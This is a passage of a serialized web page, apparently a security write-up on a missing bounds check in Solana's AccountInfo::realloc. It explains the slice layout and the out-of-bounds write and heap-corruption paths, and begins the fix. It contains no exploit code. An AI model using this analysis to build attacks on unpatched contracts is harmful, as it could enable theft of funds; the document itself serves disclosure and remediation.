props":18553,"children":18554},{"style":5149},[18555],{"type":29,"value":6348},{"type":23,"tag":230,"props":18557,"children":18558},{"style":274},[18559],{"type":29,"value":703},{"type":23,"tag":230,"props":18561,"children":18562},{"style":256},[18563],{"type":29,"value":4343},{"type":23,"tag":230,"props":18565,"children":18566},{"style":676},[18567],{"type":29,"value":8197},{"type":23,"tag":230,"props":18569,"children":18570},{"style":274},[18571],{"type":29,"value":703},{"type":23,"tag":230,"props":18573,"children":18574},{"style":256},[18575],{"type":29,"value":4343},{"type":23,"tag":230,"props":18577,"children":18578},{"style":268},[18579],{"type":29,"value":12147},{"type":23,"tag":230,"props":18581,"children":18582},{"style":256},[18583],{"type":29,"value":6059},{"type":23,"tag":230,"props":18585,"children":18586},{"style":676},[18587],{"type":29,"value":8197},{"type":23,"tag":230,"props":18589,"children":18590},{"style":274},[18591],{"type":29,"value":753},{"type":23,"tag":230,"props":18593,"children":18594},{"class":232,"line":252},[18595,18599,18603,18607,18611,18615,18619],{"type":23,"tag":230,"props":18596,"children":18597},{"style":268},[18598],{"type":29,"value":6909},{"type":23,"tag":230,"props":18600,"children":18601},{"style":262},[18602],{"type":29,"value":16276},{"type":23,"tag":230,"props":18604,"children":18605},{"style":268},[18606],{"type":29,"value":271},{"type":23,"tag":230,"props":18608,"children":18609},{"style":262},[18610],{"type":29,"value":16285},{"type":23,"tag":230,"props":18612,"children":18613},{"style":256},[18614],{"type":29,"value":3589},{"type":23,"tag":230,"props":18616,"children":18617},{"style":676},[18618],{"type":29,"value":8197},{"type":23,"tag":230,"props":18620,"children":18621},{"style":274},[18622],{"type":29,"value":511},{"type":23,"tag":32,"props":18624,"children":18625},{},[18626,18628,18634,18636,18647,18649,18655,18657,18663,18665,18670,18672,18677,18679,18689,18690,18697,18698,18705,18712,18714,18720,18722,18728,18730,18735,18737,18742,18744,18750,18752,18757],{"type":29,"value":18627},"That ",{"type":23,"tag":71,"props":18629,"children":18631},{"className":18630},[],[18632],{"type":29,"value":18633},"as_ptr()",{"type":29,"value":18635}," call is ",{"type":23,"tag":181,"props":18637,"children":18640},{"href":18638,"rel":18639},"https://doc.rust-lang.org/std/cell/struct.RefCell.html#method.as_ptr",[185],[18641],{"type":23,"tag":71,"props":18642,"children":18644},{"className":18643},[],[18645],{"type":29,"value":18646},"RefCell::as_ptr()",{"type":29,"value":18648}," due to the ",{"type":23,"tag":71,"props":18650,"children":18652},{"className":18651},[],[18653],{"type":29,"value":18654},"Deref",{"type":29,"value":18656}," impl on ",{"type":23,"tag":71,"props":18658,"children":18660},{"className":18659},[],[18661],{"type":29,"value":18662},"Rc",{"type":29,"value":18664}," (remember also that ",{"type":23,"tag":71,"props":18666,"children":18668},{"className":18667},[],[18669],{"type":29,"value":17828},{"type":29,"value":18671}," itself doesn't behave like a reference, you need to actually ",{"type":23,"tag":2258,"props":18673,"children":18674},{},[18675],{"type":29,"value":18676},"get",{"type":29,"value":18678}," one through ",{"type":23,"tag":181,"props":18680,"children":18683},{"href":18681,"rel":18682},"https://doc.rust-lang.org/std/cell/struct.RefCell.html#method.borrow",[185],[18684],{"type":23,"tag":71,"props":18685,"children":18687},{"className":18686},[],[18688],{"type":29,"value":11138},{"type":29,"value":3374},{"type":23,"tag":181,"props":18691,"children":18694},{"href":18692,"rel":18693},"https://doc.rust-lang.org/std/cell/struct.RefCell.html#method.borrow_mut",[185],[18695],{"type":29,"value":18696},"and",{"type":29,"value":3374},{"type":23,"tag":181,"props":18699,"children":18702},{"href":18700,"rel":18701},"https://doc.rust-lang.org/std/cell/struct.RefCell.html#method.try_borrow",[185],[18703],{"type":29,"value":18704},"frie",{"type":23,"tag":181,"props":18706,"children":18709},{"href":18707,"rel":18708},"https://doc.rust-lang.org/std/cell/struct.RefCell.html#method.try_borrow_mut",[185],[18710],{"type":29,"value":18711},"nds",{"type":29,"value":18713},"). So from ",{"type":23,"tag":71,"props":18715,"children":18717},{"className":18716},[],[18718],{"type":29,"value":18719},"RefCell::\u003C&mut [u8]>::as_mut()",{"type":29,"value":18721}," we get a ",{"type":23,"tag":71,"props":18723,"children":18725},{"className":18724},[],[18726],{"type":29,"value":18727},"*mut &mut [u8]",{"type":29,"value":18729}," - a ",{"type":23,"tag":2258,"props":18731,"children":18732},{},[18733],{"type":29,"value":18734},"pointer",{"type":29,"value":18736}," to the ",{"type":23,"tag":2258,"props":18738,"children":18739},{},[18740],{"type":29,"value":18741},"slice reference",{"type":29,"value":18743},". From here, we turn the pointer into a ",{"type":23,"tag":71,"props":18745,"children":18747},{"className":18746},[],[18748],{"type":29,"value":18749},"*const u64",{"type":29,"value":18751}," pointer and then offset by 1 ",{"type":23,"tag":71,"props":18753,"children":18755},{"className":18754},[],[18756],{"type":29,"value":10377},{"type":29,"value":18758}," (so 8 bytes). Finally, we switch the pointer back to being mutable, and write the new length to it.",{"type":23,"tag":32,"props":18760,"children":18761},{},[18762,18764,18769,18771,18776,18778,18783,18785,18790,18792,18798],{"type":29,"value":18763},"Now, if you're sitting here thinking that this is unnecessarily convoluted and confusing, you'd be right! But we'll get back to that ",{"type":23,"tag":181,"props":18765,"children":18767},{"href":18766},"#Towards-safer-unsafe",[18768],{"type":29,"value":18436},{"type":29,"value":18770}," too, I promise. In summary, we're writing the new length as a ",{"type":23,"tag":71,"props":18772,"children":18774},{"className":18773},[],[18775],{"type":29,"value":10377},{"type":29,"value":18777}," to the region starting 8 bytes from the start of the slice ",{"type":23,"tag":2258,"props":18779,"children":18780},{},[18781],{"type":29,"value":18782},"reference",{"type":29,"value":18784}," (the ",{"type":23,"tag":71,"props":18786,"children":18788},{"className":18787},[],[18789],{"type":29,"value":17787},{"type":29,"value":18791},").So, what does ",{"type":23,"tag":71,"props":18793,"children":18795},{"className":18794},[],[18796],{"type":29,"value":18797},"&[T]",{"type":29,"value":18799}," look like in Rust?",{"type":23,"tag":32,"props":18801,"children":18802},{},[18803,18805,18812,18814,18827,18829,18835],{"type":29,"value":18804},"According to ",{"type":23,"tag":181,"props":18806,"children":18809},{"href":18807,"rel":18808},"https://doc.rust-lang.org/reference/type-layout.html#pointers-and-references-layout",[185],[18810],{"type":29,"value":18811},"the reference",{"type":29,"value":18813},", it's completely undefined - there are no guarantees made in the reference, and ",{"type":23,"tag":181,"props":18815,"children":18818},{"href":18816,"rel":18817},"https://doc.rust-lang.org/reference/type-layout.html",[185],[18819,18821,18825],{"type":29,"value":18820},"\"Type layout can be changed with each compilation. ",{"type":23,"tag":230,"props":18822,"children":18823},{},[18824],{"type":29,"value":11922},{"type":29,"value":18826}," we only document what is guaranteed today\"",{"type":29,"value":18828},". But it seems like those pesky language specs aren't stopping Solana developers. In current ",{"type":23,"tag":71,"props":18830,"children":18832},{"className":18831},[],[18833],{"type":29,"value":18834},"rustc",{"type":29,"value":18836},", the layout is a data pointer followed by the size; essentially the same as:",{"type":23,"tag":220,"props":18838,"children":18841},{"className":18839,"code":18840,"language":2148,"meta":7,"style":7},"language-c shiki shiki-themes slack-dark","// C language\nstruct slice_ref {\n    void* ptr;\n    size_t len;\n};\n",[18842],{"type":23,"tag":71,"props":18843,"children":18844},{"__ignoreMap":7},[18845,18853,18865,18882,18895],{"type":23,"tag":230,"props":18846,"children":18847},{"class":232,"line":233},[18848],{"type":23,"tag":230,"props":18849,"children":18850},{"style":237},[18851],{"type":29,"value":18852},"// C language\n",{"type":23,"tag":230,"props":18854,"children":18855},{"class":232,"line":243},[18856,18860],{"type":23,"tag":230,"props":18857,"children":18858},{"style":256},[18859],{"type":29,"value":11733},{"type":23,"tag":230,"props":18861,"children":18862},{"style":274},[18863],{"type":29,"value":18864}," slice_ref {\n",{"type":23,"tag":230,"props":18866,"children":18867},{"class":232,"line":252},[18868,18873,18877],{"type":23,"tag":230,"props":18869,"children":18870},{"style":256},[18871],{"type":29,"value":18872},"    void",{"type":23,"tag":230,"props":18874,"children":18875},{"style":268},[18876],{"type":29,"value":6909},{"type":23,"tag":230,"props":18878,"children":18879},{"style":274},[18880],{"type":29,"value":18881}," ptr;\n",{"type":23,"tag":230,"props":18883,"children":18884},{"class":232,"line":280},[18885,18890],{"type":23,"tag":230,"props":18886,"children":18887},{"style":256},[18888],{"type":29,"value":18889},"    size_t",{"type":23,"tag":230,"props":18891,"children":18892},{"style":274},[18893],{"type":29,"value":18894}," len;\n",{"type":23,"tag":230,"props":18896,"children":18897},{"class":232,"line":334},[18898],{"type":23,"tag":230,"props":18899,"children":18900},{"style":274},[18901],{"type":29,"value":450},{"type":23,"tag":32,"props":18903,"children":18904},{},[18905],{"type":29,"value":18906},"So at the end of the day we find out that the code is simply writing over the length field in the slice reference. Let's step back a moment and take a look at all the assumptions we made along the way while executing these 2 lines (really only one of importance!):",{"type":23,"tag":144,"props":18908,"children":18909},{},[18910,18915,18933],{"type":23,"tag":102,"props":18911,"children":18912},{},[18913],{"type":29,"value":18914},"Slices are laid out in the precise manner described",{"type":23,"tag":102,"props":18916,"children":18917},{},[18918,18920,18926,18928],{"type":29,"value":18919},"Pointers and ",{"type":23,"tag":71,"props":18921,"children":18923},{"className":18922},[],[18924],{"type":29,"value":18925},"usize",{"type":29,"value":18927}," are the same width as ",{"type":23,"tag":71,"props":18929,"children":18931},{"className":18930},[],[18932],{"type":29,"value":10377},{"type":23,"tag":102,"props":18934,"children":18935},{},[18936,18937,18942],{"type":29,"value":980},{"type":23,"tag":71,"props":18938,"children":18940},{"className":18939},[],[18941],{"type":29,"value":17828},{"type":29,"value":18943}," was not borrowed (i.e. we didn't just mutate it while someone else has a reference to its contents)",{"type":23,"tag":32,"props":18945,"children":18946},{},[18947,18949,18954,18956,18962,18964,18969,18971,18977,18979,18984,18986,18996],{"type":29,"value":18948},"Assumption #2 is ",{"type":23,"tag":2258,"props":18950,"children":18951},{},[18952],{"type":29,"value":18953},"probably",{"type":29,"value":18955}," fine when we only care about targeting Solana's bytecode machine, but still not a particularly safe assumption to make in case some change happens on the toolchain. And assumption #3 turns out to be a non-issue since we had just done a ",{"type":23,"tag":71,"props":18957,"children":18959},{"className":18958},[],[18960],{"type":29,"value":18961},"borrow_mut",{"type":29,"value":18963}," of the ",{"type":23,"tag":71,"props":18965,"children":18967},{"className":18966},[],[18968],{"type":29,"value":17828},{"type":29,"value":18970}," (through ",{"type":23,"tag":71,"props":18972,"children":18974},{"className":18973},[],[18975],{"type":29,"value":18976},"AccountInfo::try_borrow_mut_data()",{"type":29,"value":18978},"), and ",{"type":23,"tag":71,"props":18980,"children":18982},{"className":18981},[],[18983],{"type":29,"value":17828},{"type":29,"value":18985}," is not usable between multiple threads",{"type":23,"tag":17798,"props":18987,"children":18988},{},[18989],{"type":23,"tag":181,"props":18990,"children":18994},{"href":18991,"ariaDescribedBy":18992,"dataFootnoteRef":7,"id":18993},"#user-content-fn-sendsync",[17805],"user-content-fnref-sendsync",[18995],{"type":29,"value":5462},{"type":29,"value":18997},", so we already have exclusive access.",{"type":23,"tag":32,"props":18999,"children":19000},{},[19001,19003,19007],{"type":29,"value":19002},"A few more ",{"type":23,"tag":2258,"props":19004,"children":19005},{},[19006],{"type":29,"value":9443},{"type":29,"value":19008}," things of note, that could have gone badly but didn't:",{"type":23,"tag":98,"props":19010,"children":19011},{},[19012,19053],{"type":23,"tag":102,"props":19013,"children":19014},{},[19015,19017,19023,19025,19030,19032,19036,19038,19043,19045,19051],{"type":29,"value":19016},"By reborrowing the pointer (the ",{"type":23,"tag":71,"props":19018,"children":19020},{"className":19019},[],[19021],{"type":29,"value":19022},"&mut *(\u003Cvalue of type *mut u64>)",{"type":29,"value":19024},"), we've created a reference with an ",{"type":23,"tag":2258,"props":19026,"children":19027},{},[19028],{"type":29,"value":19029},"unbounded lifetime",{"type":29,"value":19031},". Rust is free to infer ",{"type":23,"tag":2258,"props":19033,"children":19034},{},[19035],{"type":29,"value":3846},{"type":29,"value":19037}," lifetime for ",{"type":23,"tag":71,"props":19039,"children":19041},{"className":19040},[],[19042],{"type":29,"value":16276},{"type":29,"value":19044}," (including ",{"type":23,"tag":71,"props":19046,"children":19048},{"className":19047},[],[19049],{"type":29,"value":19050},"'static",{"type":29,"value":19052},"); thankfully it's only used in the next statement and never has a chance to escape.",{"type":23,"tag":102,"props":19054,"children":19055},{},[19056,19058,19064,19066,19071,19073,19078,19080,19085,19087,19092,19094,19099,19101,19106,19108,19114,19116,19121,19123,19128,19130,19135,19137,19142,19144,19149],{"type":29,"value":19057},"Going back to the first statement when we were modifying the data buffer, it turns out we have another lifetime problem: we created a mutable pointer to the data from the ",{"type":23,"tag":71,"props":19059,"children":19061},{"className":19060},[],[19062],{"type":29,"value":19063},"RefMut",{"type":29,"value":19065}," returned from ",{"type":23,"tag":71,"props":19067,"children":19069},{"className":19068},[],[19070],{"type":29,"value":16201},{"type":29,"value":19072},", but the ",{"type":23,"tag":71,"props":19074,"children":19076},{"className":19075},[],[19077],{"type":29,"value":19063},{"type":29,"value":19079}," is dropped at the end of the statement. So, we now have in ",{"type":23,"tag":71,"props":19081,"children":19083},{"className":19082},[],[19084],{"type":29,"value":16276},{"type":29,"value":19086}," a ",{"type":23,"tag":2258,"props":19088,"children":19089},{},[19090],{"type":29,"value":19091},"mutable",{"type":29,"value":19093}," pointer to the ",{"type":23,"tag":71,"props":19095,"children":19097},{"className":19096},[],[19098],{"type":29,"value":17828},{"type":29,"value":19100},"'s data, but the ",{"type":23,"tag":71,"props":19102,"children":19104},{"className":19103},[],[19105],{"type":29,"value":17828},{"type":29,"value":19107}," thinks that we're done with our borrow. If we happened to be in a multithreaded scenario with something like a ",{"type":23,"tag":71,"props":19109,"children":19111},{"className":19110},[],[19112],{"type":29,"value":19113},"Mutex",{"type":29,"value":19115}," instead of a ",{"type":23,"tag":71,"props":19117,"children":19119},{"className":19118},[],[19120],{"type":29,"value":17828},{"type":29,"value":19122}," (but with otherwise semantically identical code), then a different thread could attempt to borrow between creating ",{"type":23,"tag":71,"props":19124,"children":19126},{"className":19125},[],[19127],{"type":29,"value":16276},{"type":29,"value":19129}," and writing to it ",{"type":23,"tag":2258,"props":19131,"children":19132},{},[19133],{"type":29,"value":19134},"and succeed",{"type":29,"value":19136},", resulting in us writing while another reference is alive. However, since ",{"type":23,"tag":71,"props":19138,"children":19140},{"className":19139},[],[19141],{"type":29,"value":16276},{"type":29,"value":19143}," is behind the actual data and thus the region it points to is inaccessible through the ",{"type":23,"tag":71,"props":19145,"children":19147},{"className":19146},[],[19148],{"type":29,"value":6037},{"type":29,"value":19150}," slice, this is still not a problem. I just wanted to highlight how easy it is to mess up borrowing and lifetimes when writing unsafe code.",{"type":23,"tag":32,"props":19152,"children":19153},{},[19154,19156,19161],{"type":29,"value":19155},"Ok, now that we've understood what the code is ",{"type":23,"tag":2258,"props":19157,"children":19158},{},[19159],{"type":29,"value":19160},"trying",{"type":29,"value":19162}," to do, let's try to break it, shall we?",{"type":23,"tag":24,"props":19164,"children":19166},{"id":19165},"what-can-go-wrong",[19167],{"type":29,"value":19168},"What can go wrong?",{"type":23,"tag":59,"props":19170,"children":19172},{"id":19171},"contracts",[19173],{"type":29,"value":19174},"Contracts",{"type":23,"tag":32,"props":19176,"children":19177},{},[19178,19180,19185,19187,19192,19194,19199,19201,19206],{"type":29,"value":19179},"Again, it's quite conspicuous that there's no bounds check whatsoever, and additionally, we notice that at no point did we actually touch the data pointer of the slice reference when ",{"type":23,"tag":71,"props":19181,"children":19183},{"className":19182},[],[19184],{"type":29,"value":15965},{"type":29,"value":19186},"'ing. In other words, when we realloc, all we do is change some size fields, no allocation is happening. So, if we ",{"type":23,"tag":71,"props":19188,"children":19190},{"className":19189},[],[19191],{"type":29,"value":15965},{"type":29,"value":19193}," to some large size, past the end of the buffer of roughly ",{"type":23,"tag":71,"props":19195,"children":19197},{"className":19196},[],[19198],{"type":29,"value":17618},{"type":29,"value":19200}," bytes in the serialized buffer from the BPF loader, then we've got free out-of-bounds memory write! Using the ",{"type":23,"tag":71,"props":19202,"children":19204},{"className":19203},[],[19205],{"type":29,"value":6037},{"type":29,"value":19207}," slice, we can write to anything \"after\" our account's data in memory. Other accounts' data are stored adjacent in memory, so it'd be pretty easy to modify the data or lamports. And remember, sizes and indices are unsigned, so what's \"behind\" our account in memory is actually just very far \"after\" our account - the address will wrap around the end of the address space.",{"type":23,"tag":32,"props":19209,"children":19210},{},[19211,19213,19220],{"type":29,"value":19212},"There is ",{"type":23,"tag":181,"props":19214,"children":19217},{"href":19215,"rel":19216},"https://github.com/solana-labs/solana/blob/94685e1222b3289859a447d62fadea20898241e0/programs/bpf_loader/src/serialization.rs#L324-L328",[185],[19218],{"type":29,"value":19219},"a check",{"type":29,"value":19221}," by the BPF loader, however, and it boils down to:",{"type":23,"tag":220,"props":19223,"children":19225},{"className":5320,"code":19224,"language":5319,"meta":7,"style":7},"if post_len.saturating_sub(*pre_len) > MAX_PERMITTED_DATA_INCREASE\n    || post_len > MAX_PERMITTED_DATA_LENGTH as usize\n{\n    return Err(InstructionError::InvalidRealloc);\n}\n",[19226],{"type":23,"tag":71,"props":19227,"children":19228},{"__ignoreMap":7},[19229,19267,19297,19304,19336],{"type":23,"tag":230,"props":19230,"children":19231},{"class":232,"line":233},[19232,19236,19241,19245,19249,19253,19257,19262],{"type":23,"tag":230,"props":19233,"children":19234},{"style":866},[19235],{"type":29,"value":17904},{"type":23,"tag":230,"props":19237,"children":19238},{"style":262},[19239],{"type":29,"value":19240}," post_len",{"type":23,"tag":230,"props":19242,"children":19243},{"style":268},[19244],{"type":29,"value":312},{"type":23,"tag":230,"props":19246,"children":19247},{"style":294},[19248],{"type":29,"value":16619},{"type":23,"tag":230,"props":19250,"children":19251},{"style":274},[19252],{"type":29,"value":302},{"type":23,"tag":230,"props":19254,"children":19255},{"style":268},[19256],{"type":29,"value":6909},{"type":23,"tag":230,"props":19258,"children":19259},{"style":262},[19260],{"type":29,"value":19261},"pre_len",{"type":23,"tag":230,"props":19263,"children":19264},{"style":274},[19265],{"type":29,"value":19266},") > MAX_PERMITTED_DATA_INCREASE\n",{"type":23,"tag":230,"props":19268,"children":19269},{"class":232,"line":243},[19270,19275,19279,19283,19288,19292],{"type":23,"tag":230,"props":19271,"children":19272},{"style":268},[19273],{"type":29,"value":19274},"    ||",{"type":23,"tag":230,"props":19276,"children":19277},{"style":262},[19278],{"type":29,"value":19240},{"type":23,"tag":230,"props":19280,"children":19281},{"style":268},[19282],{"type":29,"value":16521},{"type":23,"tag":230,"props":19284,"children":19285},{"style":274},[19286],{"type":29,"value":19287}," MAX_PERMITTED_DATA_LENGTH ",{"type":23,"tag":230,"props":19289,"children":19290},{"style":256},[19291],{"type":29,"value":4343},{"type":23,"tag":230,"props":19293,"children":19294},{"style":676},[19295],{"type":29,"value":19296}," usize\n",{"type":23,"tag":230,"props":19298,"children":19299},{"class":232,"line":252},[19300],{"type":23,"tag":230,"props":19301,"children":19302},{"style":274},[19303],{"type":29,"value":13211},{"type":23,"tag":230,"props":19305,"children":19306},{"class":232,"line":280},[19307,19311,19315,19319,19323,19327,19332],{"type":23,"tag":230,"props":19308,"children":19309},{"style":866},[19310],{"type":29,"value":4427},{"type":23,"tag":230,"props":19312,"children":19313},{"style":676},[19314],{"type":29,"value":18073},{"type":23,"tag":230,"props":19316,"children":19317},{"style":274},[19318],{"type":29,"value":302},{"type":23,"tag":230,"props":19320,"children":19321},{"style":676},[19322],{"type":29,"value":18082},{"type":23,"tag":230,"props":19324,"children":19325},{"style":268},[19326],{"type":29,"value":5818},{"type":23,"tag":230,"props":19328,"children":19329},{"style":676},[19330],{"type":29,"value":19331},"InvalidRealloc",{"type":23,"tag":230,"props":19333,"children":19334},{"style":274},[19335],{"type":29,"value":753},{"type":23,"tag":230,"props":19337,"children":19338},{"class":232,"line":334},[19339],{"type":23,"tag":230,"props":19340,"children":19341},{"style":274},[19342],{"type":29,"value":975},{"type":23,"tag":32,"props":19344,"children":19345},{},[19346,19348,19353,19355,19360],{"type":29,"value":19347},"But, like the other checks performed by the loader, this check only runs after the contract ",{"type":23,"tag":2258,"props":19349,"children":19350},{},[19351],{"type":29,"value":19352},"finishes",{"type":29,"value":19354}," execution. ",{"type":23,"tag":2258,"props":19356,"children":19357},{},[19358],{"type":29,"value":19359},"During",{"type":29,"value":19361}," execution, the contract is free to make whatever modifications to memory that it wants, since Solana's eBPF machine doesn't hook memory accesses in any way.",{"type":23,"tag":32,"props":19363,"children":19364},{},[19365,19367,19372,19374,19379,19381,19388],{"type":29,"value":19366},"The end result is that in order to successfully exploit this bug, an attacker needs a way to change the length back to something valid before the program exits. However, with potentially ",{"type":23,"tag":2258,"props":19368,"children":19369},{},[19370],{"type":29,"value":19371},"arbitrary",{"type":29,"value":19373}," memory access through a mistakenly-",{"type":23,"tag":71,"props":19375,"children":19377},{"className":19376},[],[19378],{"type":29,"value":15965},{"type":29,"value":19380},"'d account, this falls in the relm of some ",{"type":23,"tag":181,"props":19382,"children":19385},{"href":19383,"rel":19384},"https://en.wikipedia.org/wiki/Buffer_overflow",[185],[19386],{"type":29,"value":19387},"old-school pwning",{"type":29,"value":19389}," - even if we can't use the out-of-bounds access directly, there's plenty of pointers in memory that could be of use.",{"type":23,"tag":59,"props":19391,"children":19393},{"id":19392},"not-contracts",[19394],{"type":29,"value":19395},"Not-contracts?",{"type":23,"tag":32,"props":19397,"children":19398},{},[19399,19401,19406,19408,19418,19420,19432,19434,19441,19443,19448,19450,19455,19457,19470,19472,19477,19479,19484],{"type":29,"value":19400},"Remember when we said that all this code makes sense ",{"type":23,"tag":2258,"props":19402,"children":19403},{},[19404],{"type":29,"value":19405},"if the data points to the BPF loader's serialized buffer",{"type":29,"value":19407},"? Well unfortunately for us, there's nothing enforcing that; all the fields on ",{"type":23,"tag":181,"props":19409,"children":19412},{"href":19410,"rel":19411},"https://docs.rs/solana-program/1.10.28/solana_program/account_info/struct.AccountInfo.html",[185],[19413],{"type":23,"tag":71,"props":19414,"children":19416},{"className":19415},[],[19417],{"type":29,"value":17264},{"type":29,"value":19419}," are public, and so is its ",{"type":23,"tag":181,"props":19421,"children":19424},{"href":19422,"rel":19423},"https://docs.rs/solana-program/1.10.28/solana_program/account_info/struct.AccountInfo.html#method.new",[185],[19425,19430],{"type":23,"tag":71,"props":19426,"children":19428},{"className":19427},[],[19429],{"type":29,"value":17448},{"type":29,"value":19431}," method",{"type":29,"value":19433}," (which is ",{"type":23,"tag":181,"props":19435,"children":19438},{"href":19436,"rel":19437},"https://docs.rs/solana-program/1.10.28/src/solana_program/account_info.rs.html#160-180",[185],[19439],{"type":29,"value":19440},"nothing more than a thin wrapper around just creating the struct literal yourself",{"type":29,"value":19442},"). The ",{"type":23,"tag":71,"props":19444,"children":19446},{"className":19445},[],[19447],{"type":29,"value":15965},{"type":29,"value":19449}," code critically assumes that the memory 8 bytes behind the data buffer is the data's length and that we can write to it however we want when realloc'ing. So, clearly if we were to create an ",{"type":23,"tag":71,"props":19451,"children":19453},{"className":19452},[],[19454],{"type":29,"value":17264},{"type":29,"value":19456}," ourselves - potentially through the ",{"type":23,"tag":181,"props":19458,"children":19461},{"href":19459,"rel":19460},"https://docs.rs/solana-program/1.10.28/solana_program/account_info/trait.Account.html",[185],[19462,19468],{"type":23,"tag":71,"props":19463,"children":19465},{"className":19464},[],[19466],{"type":29,"value":19467},"Account",{"type":29,"value":19469}," trait",{"type":29,"value":19471},", which is hardly documented at all and makes ",{"type":23,"tag":2258,"props":19473,"children":19474},{},[19475],{"type":29,"value":19476},"no",{"type":29,"value":19478}," mention of any prerequisites about the nature of the references that need to be returned - we'd run in to problems from pretty much any practical way we'd allocate the ",{"type":23,"tag":71,"props":19480,"children":19482},{"className":19481},[],[19483],{"type":29,"value":6037},{"type":29,"value":19485}," buffer.",{"type":23,"tag":32,"props":19487,"children":19488},{},[19489,19491,19502,19504,19510,19512,19518,19520,19533,19535,19540,19542,19547,19548,19553,19555,19560,19562,19567,19569,19574],{"type":29,"value":19490},"One long arm of this is ",{"type":23,"tag":181,"props":19492,"children":19495},{"href":19493,"rel":19494},"https://docs.rs/solana-sdk/1.10.28/solana_sdk/account/struct.Account.html",[185],[19496],{"type":23,"tag":71,"props":19497,"children":19499},{"className":19498},[],[19500],{"type":29,"value":19501},"solana_sdk::account::Account",{"type":29,"value":19503}," - in the client SDK. It holds an account's data in a ",{"type":23,"tag":71,"props":19505,"children":19507},{"className":19506},[],[19508],{"type":29,"value":19509},"Vec\u003Cu8>",{"type":29,"value":19511},", and it implements ",{"type":23,"tag":71,"props":19513,"children":19515},{"className":19514},[],[19516],{"type":29,"value":19517},"solana_program::account_info::Account",{"type":29,"value":19519}," (the trait from earlier) - by ",{"type":23,"tag":181,"props":19521,"children":19524},{"href":19522,"rel":19523},"https://docs.rs/solana-sdk/1.10.28/src/solana_sdk/account.rs.html#661-669",[185],[19525,19527],{"type":29,"value":19526},"returning a reference to the contents of that ",{"type":23,"tag":71,"props":19528,"children":19530},{"className":19529},[],[19531],{"type":29,"value":19532},"Vec",{"type":29,"value":19534},". So, ",{"type":23,"tag":71,"props":19536,"children":19538},{"className":19537},[],[19539],{"type":29,"value":15965},{"type":29,"value":19541}," writes the size into the 8 bytes right before ",{"type":23,"tag":71,"props":19543,"children":19545},{"className":19544},[],[19546],{"type":29,"value":6037},{"type":29,"value":2171},{"type":23,"tag":71,"props":19549,"children":19551},{"className":19550},[],[19552],{"type":29,"value":6037},{"type":29,"value":19554}," is the buffer of a ",{"type":23,"tag":71,"props":19556,"children":19558},{"className":19557},[],[19559],{"type":29,"value":19532},{"type":29,"value":19561},", and so it is the contents of a heap allocation; and, immediately before a heap allocation sits critical metadata. The result? If, for some reason, you construct an ",{"type":23,"tag":71,"props":19563,"children":19565},{"className":19564},[],[19566],{"type":29,"value":17264},{"type":29,"value":19568}," out of an SDK ",{"type":23,"tag":71,"props":19570,"children":19572},{"className":19571},[],[19573],{"type":29,"value":19467},{"type":29,"value":19575}," and then realloc it (which admittedly is quite a stretch), then you get heap corruption - something that's very likely to lead to remote code execution.",{"type":23,"tag":24,"props":19577,"children":19579},{"id":19578},"remediation",[19580],{"type":29,"value":19581},"Remediation",{"type":23,"tag":32,"props":19583,"children":19584},{},[19585],{"type":29,"value":19586},"Obviously the fix for the main issue at hand is to check that the resize operation remains in-bounds. But how do we know how big is too big?",{"type":23,"tag":32,"props":19588,"children":19589},{},[19590,19592,19597,19599,19604,19606,19617,19619,19624,19626,19633],{"type":29,"value":19591},"The sensible thing to do would be to store the initial size in the ",{"type":23,"tag":71,"props":19593,"children":19595},{"className":19594},[],[19596],{"type":29,"value":17264},{"type":29,"value":19598},"... except for the fact that the layout of ",{"type":23,"tag":71,"props":19600,"children":19602},{"className":19601},[],[19603],{"type":29,"value":17264},{"type":29,"value":19605}," is actually part of the ABI between the contract runtime and the loader :face_palm:",{"type":23,"tag":17798,"props":19607,"children":19608},{},[19609],{"type":23,"tag":181,"props":19610,"children":19614},{"href":19611,"ariaDescribedBy":19612,"dataFootnoteRef":7,"id":19613},"#user-content-fn-layout",[17805],"user-content-fnref-layout",[19615],{"type":29,"value":19616},"3",{"type":29,"value":19618}," So, with changing ",{"type":23,"tag":71,"props":19620,"children":19622},{"className":19621},[],[19623],{"type":29,"value":17264},{"type":29,"value":19625}," out of the question, the Solana team came up with a different place to stash the information: inside a section of padding in the serialized buffer passed from the runtime. This happened to be next to where the pubkey was stored, which resulted in the creation of ",{"type":23,"tag":181,"props":19627,"children":19630},{"href":19628,"rel":19629},"https://docs.rs/solana-program/1.10.30/src/solana_program/account_info.rs.html#74-85",[185],[19631],{"type":29,"value":19632},"this function",{"type":29,"value":218},{"type":23,"tag":220,"props":19635,"children":19637},{"className":5320,"code":19636,"language":5319,"meta":7,"style":7},"/// Return the account's original data length when it was serialized for the\n/// current program invocation.\n///\n/// # Safety\n///\n/// This method assumes that the original data length was serialized as a u32\n/// integer in the 4 bytes immediately preceding the serialized account key.\npub unsafe fn original_data_len(&self) -> usize {\n    let key_ptr = self.key as *const _ as *const u8;\n    let original_data_len_ptr = key_ptr.offset(-4) as *const u32;\n    *original_data_len_ptr as usize\n}\n",[19638],{"type":23,"tag":71,"props":19639,"children":19640},{"__ignoreMap":7},[19641,19649,19657,19665,19673,19680,19688,19696,19744,19809,19875,19896],{"type":23,"tag":230,"props":19642,"children":19643},{"class":232,"line":233},[19644],{"type":23,"tag":230,"props":19645,"children":19646},{"style":237},[19647],{"type":29,"value":19648},"/// Return the account's original data length when it was serialized for the\n",{"type":23,"tag":230,"props":19650,"children":19651},{"class":232,"line":243},[19652],{"type":23,"tag":230,"props":19653,"children":19654},{"style":237},[19655],{"type":29,"value":19656},"/// current program invocation.\n",{"type":23,"tag":230,"props":19658,"children":19659},{"class":232,"line":252},[19660],{"type":23,"tag":230,"props":19661,"children":19662},{"style":237},[19663],{"type":29,"value":19664},"///\n",{"type":23,"tag":230,"props":19666,"children":19667},{"class":232,"line":280},[19668],{"type":23,"tag":230,"props":19669,"children":19670},{"style":237},[19671],{"type":29,"value":19672},"/// # Safety\n",{"type":23,"tag":230,"props":19674,"children":19675},{"class":232,"line":334},[19676],{"type":23,"tag":230,"props":19677,"children":19678},{"style":237},[19679],{"type":29,"value":19664},{"type":23,"tag":230,"props":19681,"children":19682},{"class":232,"line":371},[19683],{"type":23,"tag":230,"props":19684,"children":19685},{"style":237},[19686],{"type":29,"value":19687},"/// This method assumes that the original data length was serialized as a u32\n",{"type":23,"tag":230,"props":19689,"children":19690},{"class":232,"line":391},[19691],{"type":23,"tag":230,"props":19692,"children":19693},{"style":237},[19694],{"type":29,"value":19695},"/// integer in the 4 bytes immediately preceding the serialized account 